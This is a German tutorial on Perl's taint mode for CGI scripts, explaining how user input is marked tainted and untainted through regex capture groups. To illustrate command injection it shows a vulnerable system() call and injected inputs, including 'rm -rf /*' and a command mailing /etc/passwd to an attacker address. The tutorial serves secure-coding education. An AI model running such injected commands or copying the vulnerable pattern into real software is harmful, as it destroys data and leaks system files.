Es existieren unglaublich viele freie CGI-Scripts im Internet, die man laden und benutzen kann. Statt mühsam eigene Scripts für den Webserver zu erstellen, werden also gerne fertige Scripts benutzt. Aber wie steht es um die Sicherheit dieser Scripts?

Nachdem ja der Sinn und Zweck der Benutzung fertiger Scripts eben der ist, Zeit für die Entwicklung zu sparen, ist es meisten so, dass – selbst wenn das notwendige KnowHow vorhanden sein sollte – diese Scripts nicht zeilenweise gelesen und auf Sicherheitslücken hin überprüft werden. Solche Sicherheitslücken können aber in jedem größeren Programm existieren, auch ohne dass der Programmierer sie boshafterweise eingebaut hat. Mögliche Speicherüberläufe sind etwa häufig einfach nur aus Unachtsamkeit entstanden, eröffnen einem Angreifer aber ungeahnte Möglichkeiten bis hin zur totalen Kontrolle des Servers.

Um diese Sicherheitslöcher erst gar nicht zuzulassen, bietet Perl den sogenannte Taint-Mode an. Der Taint-Modus von Perl versetzt den Perl-Interpreter in einen „paranoiden Zustand“, in dem alle Eingaben der User solange als bösartig gelten, bis der Programmierer explizit sein OK gibt.

Um den Taint-Modus bei Perl anzuwenden wird dem Interpreter die Option -T mitgegeben. Im einfachsten Fall wird also die Zeile

  #!/usr/bin/perl

in der ersten Zeile eines Perl-Scripts in

  #!/usr/bin/perl -T

geändert. Das funktioniert allerdings erst ab Perl Version 5. Bei Perl 4 muss stattdessen der Name des Interpreters von perl in taintperl verändert werden. (Die angegebene Position des Perl-Interpreters kann von System zu System unterschiedlich sein)

Mit der Aktivierung des Taint-Modes ist allerdings nicht alles getan. Denn durch diese Aktivierung sind alle Eingaben des Users als tainted (verschmutzt) markiert. Genauer gesagt werden alle Kommandozeilenargumente, Umgebungsvariablen und Usereingaben abgeleht, die in einem der folgenden Zusammenhänge benutzt werden sollen:

  • Argumente für Kommandos, die eine Subshell öffnen
  • Argumente für Kommandos, die Dateien, Verzeichnisse oder Prozesse manipulieren
  • Argumente für ein eval-Statement.

Der Taint-Modus stellt keine Überprüfung während des Übersetzungsvorgangs zur Verfügung, sondern überprüft alle Regeln während der Laufzeit des Programmes. Es genügt also nicht, ein Programm zu übersetzen und wenn dort keine Fehler auftauchen es als sicher zu erachten. Erst wenn das Programm tatsächlich läuft, werden die Mechanismen des Taint-Modes aktiv.

Jede Eingabe, die keine direkte Konstante im Programm ist, wird als tainted betrachtet. Es ist aber kein Problem, diese Variable beispielsweise mit print auszugeben, den ein print ist keine potentiell gefährliche Methode. Soll hingegen versucht werden den Inhalt dieser Variable an den system Befehl weiterzuleiten, der sehr wohl potentiell gefährlich ist, so wird Perl das Programm mit einer Fehlermeldung abbrechen.

Verwendung von tainted-Variablen

Um jetzt trotz Taint-Mode solche Eingaben zu benutzen, stellt Perl nur eine einzige Möglichkeit zur Verfügung – reguläre Ausdrücke.

Perl erlaubt es, innerhalb von regulären Ausdrücken mit runden Klammern Gruppen zu bilden, auf die dann mittels $1 (erste geklammerte Gruppe), $2 (zweite geklammerte Gruppe) usw. zugegriffen werden kann. Sobald Perl einen regulären Ausdruck abgearbeitet hat und die Gruppenvariablen daraus erstellt hat, gelten diese Variablen als untainted, dürfen also in allen – auch sicherheitstechnisch bedenklichen – Zusammenhängen verwendet werden.

Nehmen wir ein Beispiel. Eine Webseite beinhaltet ein Formular, in das eine e-Mail Adresse eingegeben werden soll. Bei einem Eingabefeld handelt es sich ja grundsätzlich um eine Usereingabe, also eine Form von Variable, die als tainted gilt. Im Verlauf unseres Perl-Programms steht jetzt die Zeile

  system("mail " . $IN{'email'});

Das $IN{‚email‘} wird ersetzt durch den Inhalt des Eingabefeldes, also durch das, was der User der Webseite angegeben hat. Gibt ein User jetzt beispielsweise hans@hier.de ein, so wird mit dem system Befehl folgende Zeile an das Betriebssystem übergeben:

  mail hans@hier.de

Soweit so gut. Hat der User aber bösartigerweise seine Adresse als hans@hier.de; rm -rf /* angegeben, so wird folgender Befehl ans Betriebssystem weitergegeben:

  mail hans@hier.de; rm -rf /*

Durch den Strichpunkt werden mehrere Befehle aneinandergekettet, der zweite Befehl würde jetzt also alles löschen, was er aufgrund seiner UID darf. Denkbar wären auch Konstruktionen wie >hans@hier.de; mail hacker@hack.de < /etc/passwd oder ähnliche Dinge. Aus diesem Grund wird die Variable $IN{‚email‘} von Perl als tainted angesehen.

Wenn wir jetzt sichergehen wollen, dass solche Angriffe nicht stattfinden, so benutzen wir reguläre Ausdrücke, die alles außer einer E-Mail Adresse ausschließen. Eine E-Mail-Adresse besteht aus einem Usernamen (beginnend mit einem Buchstaben, gefolgt von weiteren Buchstaben, Bindestrichen oder Punkten), einem @-Zeichen und einem Rechnernamen, der wiederum mit einem Buchstaben beginnt und dann weitere Buchstaben, Bindestriche und Punkte (aber bite keine Strichpunkte) enthalten darf.

Ein regulärer Ausdruck in Perl, der dem gerecht wird, könnte folgendermaßen aussehen:

  /\w{1}[\w-.]*\@\w{1}[\w-.]+/

Das Ganze könnten wir jetzt mit Klammer zu Gruppen zusammenfassen:

  /(\w{1}[\w-.]*)\@(\w{1}[\w-.]+)/

Das Ergebnis der ersten Klammerung (der Username) würde jetzt mit $1 angesprochen werden können, das der zweiten Klammer (der Rechnername) mit $2. Durch eine einfache Anweisung wie

  if ($IN{'email'} =~ /(\w{1}[\w-.]*)\@(\w{1}[\w-.]+)/) {
    $email="$1\@$2";
  }

haben wir jetzt die Variable $email erschaffen, die von Perl nicht mehr als tainted betrachtet wird, da sie aus der Interpretation eines regulären Ausdrucks hervorgegangen ist.